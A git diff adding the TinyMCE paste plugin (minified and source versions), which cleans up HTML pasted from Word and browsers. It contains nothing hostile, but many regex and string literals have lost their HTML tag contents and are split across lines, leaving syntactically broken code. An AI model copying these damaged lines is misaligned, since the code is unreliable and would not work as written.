v=w.firstChild;if(v&&v.nodeName=="DIV"&&v.style.marginTop&&v.style.backgroundColor){o.remove(v,1)}c(o.select("span.Apple-style-span",w),function(x){o.remove(x,1)});c(o.select("br[data-mce-bogus]",w),function(x){o.remove(x)});if(w.parentNode.className!="mcePaste"){u+=w.innerHTML}})}else{u="

    "+o.encode(r).replace(/\r?\n\r?\n/g,"

    ").replace(/\r?\n/g,"
    ")+"

    "}c(o.select("div.mcePaste"),function(v){o.remove(v)});if(p){k.setRng(p)}h({content:u});o.unbind(d.getDoc(),"mousedown",m);o.unbind(d.getDoc(),"keydown",m)},0)}}if(b(d,"paste_auto_cleanup_on_paste")){if(tinymce.isOpera||/Firefox\/2/.test(navigator.userAgent)){d.onKeyDown.addToTop(function(i,j){if(((tinymce.isMac?j.metaKey:j.ctrlKey)&&j.keyCode==86)||(j.shiftKey&&j.keyCode==45)){g(j)}})}else{d.onPaste.addToTop(function(i,j){return g(j)})}}d.onInit.add(function(){d.controlManager.setActive("pastetext",d.pasteAsPlainText);if(b(d,"paste_block_drop")){d.dom.bind(d.getBody(),["dragend","dragover","draggesture","dragdrop","drop","drag"],function(i){i.preventDefault();i.stopPropagation();return false})}});f._legacySupport()},getInfo:function(){return{longname:"Paste text/word",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/paste",version:tinymce.majorVersion+"."+tinymce.minorVersion}},_preProcess:function(g,e){var k=this.editor,j=e.content,p=tinymce.grep,n=tinymce.explode,f=tinymce.trim,l,i;function d(h){c(h,function(o){if(o.constructor==RegExp){j=j.replace(o,"")}else{j=j.replace(o[0],o[1])}})}if(k.settings.paste_enable_default_filters==false){return}if(tinymce.isIE&&document.documentMode>=9){d([[/(?:
     [\s\r\n]+|
    )*(<\/?(h[1-6r]|p|div|address|pre|form|table|tbody|thead|tfoot|th|tr|td|li|ol|ul|caption|blockquote|center|dl|dt|dd|dir|fieldset)[^>]*>)(?:
     [\s\r\n]+|
    )*/g,"$1"]]);d([[/

    /g,"

    "],[/
    /g," "],[/

    /g,"
    "]])}if(/class="?Mso|style="[^"]*\bmso-|w:WordDocument/i.test(j)||e.wordContent){e.wordContent=true;d([/^\s*( )+/gi,/( |]*>)+\s*$/gi]);if(b(k,"paste_convert_headers_to_strong")){j=j.replace(/

    ]*class="?MsoHeading"?[^>]*>(.*?)<\/p>/gi,"

    $1

    ")}if(b(k,"paste_convert_middot_lists")){d([[//gi,"$&__MCE_ITEM__"],[/(]+(?:mso-list:|:\s*symbol)[^>]+>)/gi,"$1__MCE_ITEM__"],[/(]+(?:MsoListParagraph)[^>]+>)/gi,"$1__MCE_ITEM__"]])}d([//gi,/<(!|script[^>]*>.*?<\/script(?=[>\s])|\/?(\?xml(:\w+)?|img|meta|link|style|\w:\w+)(?=[\s\/>]))[^>]*>/gi,[/<(\/?)s>/gi,"<$1strike>"],[/ /gi,"\u00a0"]]);do{l=j.length;j=j.replace(/(<[a-z][^>]*\s)(?:id|name|language|type|on\w+|\w+:\w+)=(?:"[^"]*"|\w+)\s?/gi,"$1")}while(l!=j.length);if(b(k,"paste_retain_style_properties").replace(/^none$/i,"").length==0){j=j.replace(/<\/?span[^>]*>/gi,"")}else{d([[/([\s\u00a0]*)<\/span>/gi,function(o,h){return(h.length>0)?h.replace(/./," ").slice(Math.floor(h.length/2)).split("").join("\u00a0"):""}],[/(<[a-z][^>]*)\sstyle="([^"]*)"/gi,function(t,h,r){var u=[],o=0,q=n(f(r).replace(/"/gi,"'"),";");c(q,function(s){var w,y,z=n(s,":");function x(A){return A+((A!=="0")&&(/\d$/.test(A)))?"px":""}if(z.length==2){w=z[0].toLowerCase();y=z[1].toLowerCase();switch(w){case"mso-padding-alt":case"mso-padding-top-alt":case"mso-padding-right-alt":case"mso-padding-bottom-alt":case"mso-padding-left-alt":case"mso-margin-alt":case"mso-margin-top-alt":case"mso-margin-right-alt":case"mso-margin-bottom-alt":case"mso-margin-left-alt":case"mso-table-layout-alt":case"mso-height":case"mso-width":case"mso-vertical-align-alt":u[o++]=w.replace(/^mso-|-alt$/g,"")+":"+x(y);return;case"horiz-align":u[o++]="text-align:"+y;return;case"vert-align":u[o++]="vertical-align:"+y;return;case"font-color":case"mso-foreground":u[o++]="color:"+y;return;case"mso-background":case"mso-highlight":u[o++]="background:"+y;return;case"mso-default-height":u[o++]="min-height:"+x(y);return;case"mso-default-width":u[o++]="min-width:"+x(y);return;case"mso-padding-between-alt":u[o++]="border-collapse:separate;border-spacing:"+x(y);return;case"text-line-through":if((y=="single")||(y=="double")){u[o++]="text-decoration:line-through"}return;case"mso-zero-height":if(y=="yes"){u[o++]="display:none"}return}if(/^(mso|column|font-emph|lang|layout|line-break|list-image|nav|panose|punct|row|ruby|sep|size|src|tab-|table-border|text-(?!align|decor|indent|trans)|top-bar|version|vnd|word-break)/.test(w)){return}u[o++]=w+":"+z[1]}});if(o>0){return h+' style="'+u.join(";")+'"'}else{return h}}]])}}if(b(k,"paste_convert_headers_to_strong")){d([[/]*>/gi,"

    "],[/<\/h[1-6][^>]*>/gi,"

    "]])}d([[/Version:[\d.]+\nStartHTML:\d+\nEndHTML:\d+\nStartFragment:\d+\nEndFragment:\d+/gi,""]]);i=b(k,"paste_strip_class_attributes");if(i!=="none"){function m(q,o){if(i==="all"){return""}var h=p(n(o.replace(/^(["'])(.*)\1$/,"$2")," "),function(r){return(/^(?!mso)/i.test(r))});return h.length?' class="'+h.join(" ")+'"':""}j=j.replace(/ class="([^"]+)"/gi,m);j=j.replace(/ class=([\-\w]+)/gi,m)}if(b(k,"paste_remove_spans")){j=j.replace(/<\/?span[^>]*>/gi,"")}e.content=j},_postProcess:function(g,i){var f=this,e=f.editor,h=e.dom,d;if(e.settings.paste_enable_default_filters==false){return}if(i.wordContent){c(h.select("a",i.node),function(j){if(!j.href||j.href.indexOf("#_Toc")!=-1){h.remove(j,1)}});if(b(e,"paste_convert_middot_lists")){f._convertLists(g,i)}d=b(e,"paste_retain_style_properties");if((tinymce.is(d,"string"))&&(d!=="all")&&(d!=="*")){d=tinymce.explode(d.replace(/^none$/i,""));c(h.select("*",i.node),function(m){var n={},k=0,l,o,j;if(d){for(l=0;l0){h.setStyles(m,n)}else{if(m.nodeName=="SPAN"&&!m.className){h.remove(m,true)}}})}}if(b(e,"paste_remove_styles")||(b(e,"paste_remove_styles_if_webkit")&&tinymce.isWebKit)){c(h.select("*[style]",i.node),function(j){j.removeAttribute("style");j.removeAttribute("data-mce-style")})}else{if(tinymce.isWebKit){c(h.select("*",i.node),function(j){j.removeAttribute("data-mce-style")})}}},_convertLists:function(g,e){var i=g.editor.dom,h,l,d=-1,f,m=[],k,j;c(i.select("p",e.node),function(t){var q,u="",s,r,n,o;for(q=t.firstChild;q&&q.nodeType==3;q=q.nextSibling){u+=q.nodeValue}u=t.innerHTML.replace(/<\/?\w+[^>]*>/gi,"").replace(/ /g,"\u00a0");if(/^(__MCE_ITEM__)+[\u2022\u00b7\u00a7\u00d8o\u25CF]\s*\u00a0*/.test(u)){s="ul"}if(/^__MCE_ITEM__\s*\w+\.\s*\u00a0+/.test(u)){s="ol"}if(s){f=parseFloat(t.style.marginLeft||0);if(f>d){m.push(f)}if(!h||s!=k){h=i.create(s);i.insertAfter(h,t)}else{if(f>d){h=l.appendChild(i.create(s))}else{if(f]*>/gi,"");if(s=="ul"&&/^__MCE_ITEM__[\u2022\u00b7\u00a7\u00d8o\u25CF]/.test(p)){i.remove(v)}else{if(/^__MCE_ITEM__[\s\S]*\w+\.( |\u00a0)*\s*/.test(p)){i.remove(v)}}});r=t.innerHTML;if(s=="ul"){r=t.innerHTML.replace(/__MCE_ITEM__/g,"").replace(/^[\u2022\u00b7\u00a7\u00d8o\u25CF]\s*( |\u00a0)+\s*/,"")}else{r=t.innerHTML.replace(/__MCE_ITEM__/g,"").replace(/^\s*\w+\.( |\u00a0)+\s*/,"")}l=h.appendChild(i.create("li",0,r));i.remove(t);d=f;k=s}else{h=d=0}});j=e.node.innerHTML;if(j.indexOf("__MCE_ITEM__")!=-1){e.node.innerHTML=j.replace(/__MCE_ITEM__/g,"")}},_insert:function(f,d){var e=this.editor,g=e.selection.getRng();if(!e.selection.isCollapsed()&&g.startContainer!=g.endContainer){e.getDoc().execCommand("Delete",false,null)}e.execCommand("mceInsertContent",false,f,{skip_undo:d})},_insertPlainText:function(g){var d=this.editor,e=b(d,"paste_text_linebreaktype"),i=b(d,"paste_text_replacements"),f=tinymce.is;function h(j){c(j,function(k){if(k.constructor==RegExp){g=g.replace(k,"")}else{g=g.replace(k[0],k[1])}})}if((typeof(g)==="string")&&(g.length>0)){if(/<(?:p|br|h[1-6]|ul|ol|dl|table|t[rdh]|div|blockquote|fieldset|pre|address|center)[^>]*>/i.test(g)){h([/[\n\r]+/g])}else{h([/\r+/g])}h([[/<\/(?:p|h[1-6]|ul|ol|dl|table|div|blockquote|fieldset|pre|address|center)>/gi,"\n\n"],[/]*>|<\/tr>/gi,"\n"],[/<\/t[dh]>\s*]*>/gi,"\t"],/<[a-z!\/?][^>]*>/gi,[/ /gi," "],[/(?:(?!\n)\s)*(\n+)(?:(?!\n)\s)*/gi,"$1"],[/\n{3,}/g,"\n\n"]]);g=d.dom.decode(tinymce.html.Entities.encodeRaw(g));if(f(i,"array")){h(i)}else{if(f(i,"string")){h(new RegExp(i,"gi"))}}if(e=="none"){h([[/\n+/g," "]])}else{if(e=="br"){h([[/\n/g,"
    "]])}else{if(e=="p"){h([[/\n+/g,"

    "],[/^(.*<\/p>)(

    )$/,"

    $1"]])}else{h([[/\n\n/g,"

    "],[/^(.*<\/p>)(

    )$/,"

    $1"],[/\n/g,"
    "]])}}}d.execCommand("mceInsertContent",false,g)}},_legacySupport:function(){var e=this,d=e.editor;d.addCommand("mcePasteWord",function(){d.windowManager.open({file:e.url+"/pasteword.htm",width:parseInt(b(d,"paste_dialog_width")),height:parseInt(b(d,"paste_dialog_height")),inline:1})});if(b(d,"paste_text_use_dialog")){d.addCommand("mcePasteText",function(){d.windowManager.open({file:e.url+"/pastetext.htm",width:parseInt(b(d,"paste_dialog_width")),height:parseInt(b(d,"paste_dialog_height")),inline:1})})}d.addButton("pasteword",{title:"paste.paste_word_desc",cmd:"mcePasteWord"})}});tinymce.PluginManager.add("paste",tinymce.plugins.PastePlugin)})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/paste/editor_plugin_src.js b/js/tiny_mce2/plugins/paste/editor_plugin_src.js new file mode 100755 index 0000000..cec4abf --- /dev/null +++ b/js/tiny_mce2/plugins/paste/editor_plugin_src.js @@ -0,0 +1,871 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + var each = tinymce.each, + defs = { + paste_auto_cleanup_on_paste : true, + paste_enable_default_filters : true, + paste_block_drop : false, + paste_retain_style_properties : "none", + paste_strip_class_attributes : "mso", + paste_remove_spans : false, + paste_remove_styles : false, + paste_remove_styles_if_webkit : true, + paste_convert_middot_lists : true, + paste_convert_headers_to_strong : false, + paste_dialog_width : "450", + paste_dialog_height : "400", + paste_text_use_dialog : false, + paste_text_sticky : false, + paste_text_sticky_default : false, + paste_text_notifyalways : false, + paste_text_linebreaktype : "combined", + paste_text_replacements : [ + [/\u2026/g, "..."], + [/[\x93\x94\u201c\u201d]/g, '"'], + [/[\x60\x91\x92\u2018\u2019]/g, "'"] + ] + }; + + function getParam(ed, name) { + return ed.getParam(name, defs[name]); + } + + tinymce.create('tinymce.plugins.PastePlugin', { + init : function(ed, url) { + var t = this; + + t.editor = ed; + t.url = url; + + // Setup plugin events + t.onPreProcess = new tinymce.util.Dispatcher(t); + t.onPostProcess = new tinymce.util.Dispatcher(t); + + // Register default handlers + t.onPreProcess.add(t._preProcess); + t.onPostProcess.add(t._postProcess); + + // Register optional preprocess handler + t.onPreProcess.add(function(pl, o) { + ed.execCallback('paste_preprocess', pl, o); + }); + + // Register optional postprocess + t.onPostProcess.add(function(pl, o) { + ed.execCallback('paste_postprocess', pl, o); + }); + + ed.onKeyDown.addToTop(function(ed, e) { + // Block ctrl+v from adding an undo level since the default logic in tinymce.Editor will add that + if (((tinymce.isMac ? e.metaKey : e.ctrlKey) && e.keyCode == 86) || (e.shiftKey && e.keyCode == 45)) + return false; // Stop other listeners + }); + + // Initialize plain text flag + ed.pasteAsPlainText = getParam(ed, 'paste_text_sticky_default'); + + // This function executes the process handlers and inserts the contents + // force_rich overrides plain text mode set by user, important for pasting with execCommand + function process(o, force_rich) { + var dom = ed.dom, rng; + + // Execute pre process handlers + t.onPreProcess.dispatch(t, o); + + // Create DOM structure + o.node = dom.create('div', 0, o.content); + + // If pasting inside the same element and the contents is only one block + // remove the block and keep the text since Firefox will copy parts of pre and h1-h6 as a pre element + if (tinymce.isGecko) { + rng = ed.selection.getRng(true); + if (rng.startContainer == rng.endContainer && rng.startContainer.nodeType == 3) { + // Is only one block node and it doesn't contain word stuff + if (o.node.childNodes.length === 1 && /^(p|h[1-6]|pre)$/i.test(o.node.firstChild.nodeName) && o.content.indexOf('__MCE_ITEM__') === -1) + dom.remove(o.node.firstChild, true); + } + } + + // Execute post process handlers + t.onPostProcess.dispatch(t, o); + + // Serialize content + o.content = ed.serializer.serialize(o.node, {getInner : 1, forced_root_block : ''}); + + // Plain text option active? + if ((!force_rich) && (ed.pasteAsPlainText)) { + t._insertPlainText(o.content); + + if (!getParam(ed, "paste_text_sticky")) { + ed.pasteAsPlainText = false; + ed.controlManager.setActive("pastetext", false); + } + } else { + t._insert(o.content); + } + } + + // Add command for external usage + ed.addCommand('mceInsertClipboardContent', function(u, o) { + process(o, true); + }); + + if (!getParam(ed, "paste_text_use_dialog")) { + ed.addCommand('mcePasteText', function(u, v) { + var cookie = tinymce.util.Cookie; + + ed.pasteAsPlainText = !ed.pasteAsPlainText; + ed.controlManager.setActive('pastetext', ed.pasteAsPlainText); + + if ((ed.pasteAsPlainText) && (!cookie.get("tinymcePasteText"))) { + if (getParam(ed, "paste_text_sticky")) { + ed.windowManager.alert(ed.translate('paste.plaintext_mode_sticky')); + } else { + ed.windowManager.alert(ed.translate('paste.plaintext_mode')); + } + + if (!getParam(ed, "paste_text_notifyalways")) { + cookie.set("tinymcePasteText", "1", new Date(new Date().getFullYear() + 1, 12, 31)) + } + } + }); + } + + ed.addButton('pastetext', {title: 'paste.paste_text_desc', cmd: 'mcePasteText'}); + ed.addButton('selectall', {title: 'paste.selectall_desc', cmd: 'selectall'}); + + // This function grabs the contents from the clipboard by adding a + // hidden div and placing the caret inside it and after the browser paste + // is done it grabs that contents and processes that + function grabContent(e) { + var n, or, rng, oldRng, sel = ed.selection, dom = ed.dom, body = ed.getBody(), posY, textContent; + + // Check if browser supports direct plaintext access + if (e.clipboardData || dom.doc.dataTransfer) { + textContent = (e.clipboardData || dom.doc.dataTransfer).getData('Text'); + + if (ed.pasteAsPlainText) { + e.preventDefault(); + process({content : dom.encode(textContent).replace(/\r?\n/g, '
    ')}); + return; + } + } + + if (dom.get('_mcePaste')) + return; + + // Create container to paste into + n = dom.add(body, 'div', {id : '_mcePaste', 'class' : 'mcePaste', 'data-mce-bogus' : '1'}, '\uFEFF\uFEFF'); + + // If contentEditable mode we need to find out the position of the closest element + if (body != ed.getDoc().body) + posY = dom.getPos(ed.selection.getStart(), body).y; + else + posY = body.scrollTop + dom.getViewPort(ed.getWin()).y; + + // Styles needs to be applied after the element is added to the document since WebKit will otherwise remove all styles + // If also needs to be in view on IE or the paste would fail + dom.setStyles(n, { + position : 'absolute', + left : tinymce.isGecko ? -40 : 0, // Need to move it out of site on Gecko since it will othewise display a ghost resize rect for the div + top : posY - 25, + width : 1, + height : 1, + overflow : 'hidden' + }); + + if (tinymce.isIE) { + // Store away the old range + oldRng = sel.getRng(); + + // Select the container + rng = dom.doc.body.createTextRange(); + rng.moveToElementText(n); + rng.execCommand('Paste'); + + // Remove container + dom.remove(n); + + // Check if the contents was changed, if it wasn't then clipboard extraction failed probably due + // to IE security settings so we pass the junk though better than nothing right + if (n.innerHTML === '\uFEFF\uFEFF') { + ed.execCommand('mcePasteWord'); + e.preventDefault(); + return; + } + + // Restore the old range and clear the contents before pasting + sel.setRng(oldRng); + sel.setContent(''); + + // For some odd reason we need to detach the the mceInsertContent call from the paste event + // It's like IE has a reference to the parent element that you paste in and the selection gets messed up + // when it tries to restore the selection + setTimeout(function() { + // Process contents + process({content : n.innerHTML}); + }, 0); + + // Block the real paste event + return tinymce.dom.Event.cancel(e); + } else { + function block(e) { + e.preventDefault(); + }; + + // Block mousedown and click to prevent selection change + dom.bind(ed.getDoc(), 'mousedown', block); + dom.bind(ed.getDoc(), 'keydown', block); + + or = ed.selection.getRng(); + + // Move select contents inside DIV + n = n.firstChild; + rng = ed.getDoc().createRange(); + rng.setStart(n, 0); + rng.setEnd(n, 2); + sel.setRng(rng); + + // Wait a while and grab the pasted contents + window.setTimeout(function() { + var h = '', nl; + + // Paste divs duplicated in paste divs seems to happen when you paste plain text so lets first look for that broken behavior in WebKit + if (!dom.select('div.mcePaste > div.mcePaste').length) { + nl = dom.select('div.mcePaste'); + + // WebKit will split the div into multiple ones so this will loop through then all and join them to get the whole HTML string + each(nl, function(n) { + var child = n.firstChild; + + // WebKit inserts a DIV container with lots of odd styles + if (child && child.nodeName == 'DIV' && child.style.marginTop && child.style.backgroundColor) { + dom.remove(child, 1); + } + + // Remove apply style spans + each(dom.select('span.Apple-style-span', n), function(n) { + dom.remove(n, 1); + }); + + // Remove bogus br elements + each(dom.select('br[data-mce-bogus]', n), function(n) { + dom.remove(n); + }); + + // WebKit will make a copy of the DIV for each line of plain text pasted and insert them into the DIV + if (n.parentNode.className != 'mcePaste') + h += n.innerHTML; + }); + } else { + // Found WebKit weirdness so force the content into paragraphs this seems to happen when you paste plain text from Nodepad etc + // So this logic will replace double enter with paragraphs and single enter with br so it kind of looks the same + h = '

    ' + dom.encode(textContent).replace(/\r?\n\r?\n/g, '

    ').replace(/\r?\n/g, '
    ') + '

    '; + } + + // Remove the nodes + each(dom.select('div.mcePaste'), function(n) { + dom.remove(n); + }); + + // Restore the old selection + if (or) + sel.setRng(or); + + process({content : h}); + + // Unblock events ones we got the contents + dom.unbind(ed.getDoc(), 'mousedown', block); + dom.unbind(ed.getDoc(), 'keydown', block); + }, 0); + } + } + + // Check if we should use the new auto process method + if (getParam(ed, "paste_auto_cleanup_on_paste")) { + // Is it's Opera or older FF use key handler + if (tinymce.isOpera || /Firefox\/2/.test(navigator.userAgent)) { + ed.onKeyDown.addToTop(function(ed, e) { + if (((tinymce.isMac ? e.metaKey : e.ctrlKey) && e.keyCode == 86) || (e.shiftKey && e.keyCode == 45)) + grabContent(e); + }); + } else { + // Grab contents on paste event on Gecko and WebKit + ed.onPaste.addToTop(function(ed, e) { + return grabContent(e); + }); + } + } + + ed.onInit.add(function() { + ed.controlManager.setActive("pastetext", ed.pasteAsPlainText); + + // Block all drag/drop events + if (getParam(ed, "paste_block_drop")) { + ed.dom.bind(ed.getBody(), ['dragend', 'dragover', 'draggesture', 'dragdrop', 'drop', 'drag'], function(e) { + e.preventDefault(); + e.stopPropagation(); + + return false; + }); + } + }); + + // Add legacy support + t._legacySupport(); + }, + + getInfo : function() { + return { + longname : 'Paste text/word', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/paste', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + }, + + _preProcess : function(pl, o) { + var ed = this.editor, + h = o.content, + grep = tinymce.grep, + explode = tinymce.explode, + trim = tinymce.trim, + len, stripClass; + + //console.log('Before preprocess:' + o.content); + + function process(items) { + each(items, function(v) { + // Remove or replace + if (v.constructor == RegExp) + h = h.replace(v, ''); + else + h = h.replace(v[0], v[1]); + }); + } + + if (ed.settings.paste_enable_default_filters == false) { + return; + } + + // IE9 adds BRs before/after block elements when contents is pasted from word or for example another browser + if (tinymce.isIE && document.documentMode >= 9) { + // IE9 adds BRs before/after block elements when contents is pasted from word or for example another browser + process([[/(?:
     [\s\r\n]+|
    )*(<\/?(h[1-6r]|p|div|address|pre|form|table|tbody|thead|tfoot|th|tr|td|li|ol|ul|caption|blockquote|center|dl|dt|dd|dir|fieldset)[^>]*>)(?:
     [\s\r\n]+|
    )*/g, '$1']]); + + // IE9 also adds an extra BR element for each soft-linefeed and it also adds a BR for each word wrap break + process([ + [/

    /g, '

    '], // Replace multiple BR elements with uppercase BR to keep them intact + [/
    /g, ' '], // Replace single br elements with space since they are word wrap BR:s + [/

    /g, '
    '] // Replace back the double brs but into a single BR + ]); + } + + // Detect Word content and process it more aggressive + if (/class="?Mso|style="[^"]*\bmso-|w:WordDocument/i.test(h) || o.wordContent) { + o.wordContent = true; // Mark the pasted contents as word specific content + //console.log('Word contents detected.'); + + // Process away some basic content + process([ + /^\s*( )+/gi, //   entities at the start of contents + /( |]*>)+\s*$/gi //   entities at the end of contents + ]); + + if (getParam(ed, "paste_convert_headers_to_strong")) { + h = h.replace(/

    ]*class="?MsoHeading"?[^>]*>(.*?)<\/p>/gi, "

    $1

    "); + } + + if (getParam(ed, "paste_convert_middot_lists")) { + process([ + [//gi, '$&__MCE_ITEM__'], // Convert supportLists to a list item marker + [/(]+(?:mso-list:|:\s*symbol)[^>]+>)/gi, '$1__MCE_ITEM__'], // Convert mso-list and symbol spans to item markers + [/(]+(?:MsoListParagraph)[^>]+>)/gi, '$1__MCE_ITEM__'] // Convert mso-list and symbol paragraphs to item markers (FF) + ]); + } + + process([ + // Word comments like conditional comments etc + //gi, + + // Remove comments, scripts (e.g., msoShowComment), XML tag, VML content, MS Office namespaced tags, and a few other tags + /<(!|script[^>]*>.*?<\/script(?=[>\s])|\/?(\?xml(:\w+)?|img|meta|link|style|\w:\w+)(?=[\s\/>]))[^>]*>/gi, + + // Convert into for line-though + [/<(\/?)s>/gi, "<$1strike>"], + + // Replace nsbp entites to char since it's easier to handle + [/ /gi, "\u00a0"] + ]); + + // Remove bad attributes, with or without quotes, ensuring that attribute text is really inside a tag. + // If JavaScript had a RegExp look-behind, we could have integrated this with the last process() array and got rid of the loop. But alas, it does not, so we cannot. + do { + len = h.length; + h = h.replace(/(<[a-z][^>]*\s)(?:id|name|language|type|on\w+|\w+:\w+)=(?:"[^"]*"|\w+)\s?/gi, "$1"); + } while (len != h.length); + + // Remove all spans if no styles is to be retained + if (getParam(ed, "paste_retain_style_properties").replace(/^none$/i, "").length == 0) { + h = h.replace(/<\/?span[^>]*>/gi, ""); + } else { + // We're keeping styles, so at least clean them up. + // CSS Reference: http://msdn.microsoft.com/en-us/library/aa155477.aspx + + process([ + // Convert ___ to string of alternating breaking/non-breaking spaces of same length + [/([\s\u00a0]*)<\/span>/gi, + function(str, spaces) { + return (spaces.length > 0)? spaces.replace(/./, " ").slice(Math.floor(spaces.length/2)).split("").join("\u00a0") : ""; + } + ], + + // Examine all styles: delete junk, transform some, and keep the rest + [/(<[a-z][^>]*)\sstyle="([^"]*)"/gi, + function(str, tag, style) { + var n = [], + i = 0, + s = explode(trim(style).replace(/"/gi, "'"), ";"); + + // Examine each style definition within the tag's style attribute + each(s, function(v) { + var name, value, + parts = explode(v, ":"); + + function ensureUnits(v) { + return v + ((v !== "0") && (/\d$/.test(v)))? "px" : ""; + } + + if (parts.length == 2) { + name = parts[0].toLowerCase(); + value = parts[1].toLowerCase(); + + // Translate certain MS Office styles into their CSS equivalents + switch (name) { + case "mso-padding-alt": + case "mso-padding-top-alt": + case "mso-padding-right-alt": + case "mso-padding-bottom-alt": + case "mso-padding-left-alt": + case "mso-margin-alt": + case "mso-margin-top-alt": + case "mso-margin-right-alt": + case "mso-margin-bottom-alt": + case "mso-margin-left-alt": + case "mso-table-layout-alt": + case "mso-height": + case "mso-width": + case "mso-vertical-align-alt": + n[i++] = name.replace(/^mso-|-alt$/g, "") + ":" + ensureUnits(value); + return; + + case "horiz-align": + n[i++] = "text-align:" + value; + return; + + case "vert-align": + n[i++] = "vertical-align:" + value; + return; + + case "font-color": + case "mso-foreground": + n[i++] = "color:" + value; + return; + + case "mso-background": + case "mso-highlight": + n[i++] = "background:" + value; + return; + + case "mso-default-height": + n[i++] = "min-height:" + ensureUnits(value); + return; + + case "mso-default-width": + n[i++] = "min-width:" + ensureUnits(value); + return; + + case "mso-padding-between-alt": + n[i++] = "border-collapse:separate;border-spacing:" + ensureUnits(value); + return; + + case "text-line-through": + if ((value == "single") || (value == "double")) { + n[i++] = "text-decoration:line-through"; + } + return; + + case "mso-zero-height": + if (value == "yes") { + n[i++] = "display:none"; + } + return; + } + + // Eliminate all MS Office style definitions that have no CSS equivalent by examining the first characters in the name + if (/^(mso|column|font-emph|lang|layout|line-break|list-image|nav|panose|punct|row|ruby|sep|size|src|tab-|table-border|text-(?!align|decor|indent|trans)|top-bar|version|vnd|word-break)/.test(name)) { + return; + } + + // If it reached this point, it must be a valid CSS style + n[i++] = name + ":" + parts[1]; // Lower-case name, but keep value case + } + }); + + // If style attribute contained any valid styles the re-write it; otherwise delete style attribute. + if (i > 0) { + return tag + ' style="' + n.join(';') + '"'; + } else { + return tag; + } + } + ] + ]); + } + } + + // Replace headers with + if (getParam(ed, "paste_convert_headers_to_strong")) { + process([ + [/]*>/gi, "

    "], + [/<\/h[1-6][^>]*>/gi, "

    "] + ]); + } + + process([ + // Copy paste from Java like Open Office will produce this junk on FF + [/Version:[\d.]+\nStartHTML:\d+\nEndHTML:\d+\nStartFragment:\d+\nEndFragment:\d+/gi, ''] + ]); + + // Class attribute options are: leave all as-is ("none"), remove all ("all"), or remove only those starting with mso ("mso"). + // Note:- paste_strip_class_attributes: "none", verify_css_classes: true is also a good variation. + stripClass = getParam(ed, "paste_strip_class_attributes"); + + if (stripClass !== "none") { + function removeClasses(match, g1) { + if (stripClass === "all") + return ''; + + var cls = grep(explode(g1.replace(/^(["'])(.*)\1$/, "$2"), " "), + function(v) { + return (/^(?!mso)/i.test(v)); + } + ); + + return cls.length ? ' class="' + cls.join(" ") + '"' : ''; + }; + + h = h.replace(/ class="([^"]+)"/gi, removeClasses); + h = h.replace(/ class=([\-\w]+)/gi, removeClasses); + } + + // Remove spans option + if (getParam(ed, "paste_remove_spans")) { + h = h.replace(/<\/?span[^>]*>/gi, ""); + } + + //console.log('After preprocess:' + h); + + o.content = h; + }, + + /** + * Various post process items. + */ + _postProcess : function(pl, o) { + var t = this, ed = t.editor, dom = ed.dom, styleProps; + + if (ed.settings.paste_enable_default_filters == false) { + return; + } + + if (o.wordContent) { + // Remove named anchors or TOC links + each(dom.select('a', o.node), function(a) { + if (!a.href || a.href.indexOf('#_Toc') != -1) + dom.remove(a, 1); + }); + + if (getParam(ed, "paste_convert_middot_lists")) { + t._convertLists(pl, o); + } + + // Process styles + styleProps = getParam(ed, "paste_retain_style_properties"); // retained properties + + // Process only if a string was specified and not equal to "all" or "*" + if ((tinymce.is(styleProps, "string")) && (styleProps !== "all") && (styleProps !== "*")) { + styleProps = tinymce.explode(styleProps.replace(/^none$/i, "")); + + // Retains some style properties + each(dom.select('*', o.node), function(el) { + var newStyle = {}, npc = 0, i, sp, sv; + + // Store a subset of the existing styles + if (styleProps) { + for (i = 0; i < styleProps.length; i++) { + sp = styleProps[i]; + sv = dom.getStyle(el, sp); + + if (sv) { + newStyle[sp] = sv; + npc++; + } + } + } + + // Remove all of the existing styles + dom.setAttrib(el, 'style', ''); + + if (styleProps && npc > 0) + dom.setStyles(el, newStyle); // Add back the stored subset of styles + else // Remove empty span tags that do not have class attributes + if (el.nodeName == 'SPAN' && !el.className) + dom.remove(el, true); + }); + } + } + + // Remove all style information or only specifically on WebKit to avoid the style bug on that browser + if (getParam(ed, "paste_remove_styles") || (getParam(ed, "paste_remove_styles_if_webkit") && tinymce.isWebKit)) { + each(dom.select('*[style]', o.node), function(el) { + el.removeAttribute('style'); + el.removeAttribute('data-mce-style'); + }); + } else { + if (tinymce.isWebKit) { + // We need to compress the styles on WebKit since if you paste it will become + // Removing the mce_style that contains the real value will force the Serializer engine to compress the styles + each(dom.select('*', o.node), function(el) { + el.removeAttribute('data-mce-style'); + }); + } + } + }, + + /** + * Converts the most common bullet and number formats in Office into a real semantic UL/LI list. + */ + _convertLists : function(pl, o) { + var dom = pl.editor.dom, listElm, li, lastMargin = -1, margin, levels = [], lastType, html; + + // Convert middot lists into real semantic lists + each(dom.select('p', o.node), function(p) { + var sib, val = '', type, html, idx, parents; + + // Get text node value at beginning of paragraph + for (sib = p.firstChild; sib && sib.nodeType == 3; sib = sib.nextSibling) + val += sib.nodeValue; + + val = p.innerHTML.replace(/<\/?\w+[^>]*>/gi, '').replace(/ /g, '\u00a0'); + + // Detect unordered lists look for bullets + if (/^(__MCE_ITEM__)+[\u2022\u00b7\u00a7\u00d8o\u25CF]\s*\u00a0*/.test(val)) + type = 'ul'; + + // Detect ordered lists 1., a. or ixv. + if (/^__MCE_ITEM__\s*\w+\.\s*\u00a0+/.test(val)) + type = 'ol'; + + // Check if node value matches the list pattern: o   + if (type) { + margin = parseFloat(p.style.marginLeft || 0); + + if (margin > lastMargin) + levels.push(margin); + + if (!listElm || type != lastType) { + listElm = dom.create(type); + dom.insertAfter(listElm, p); + } else { + // Nested list element + if (margin > lastMargin) { + listElm = li.appendChild(dom.create(type)); + } else if (margin < lastMargin) { + // Find parent level based on margin value + idx = tinymce.inArray(levels, margin); + parents = dom.getParents(listElm.parentNode, type); + listElm = parents[parents.length - 1 - idx] || listElm; + } + } + + // Remove middot 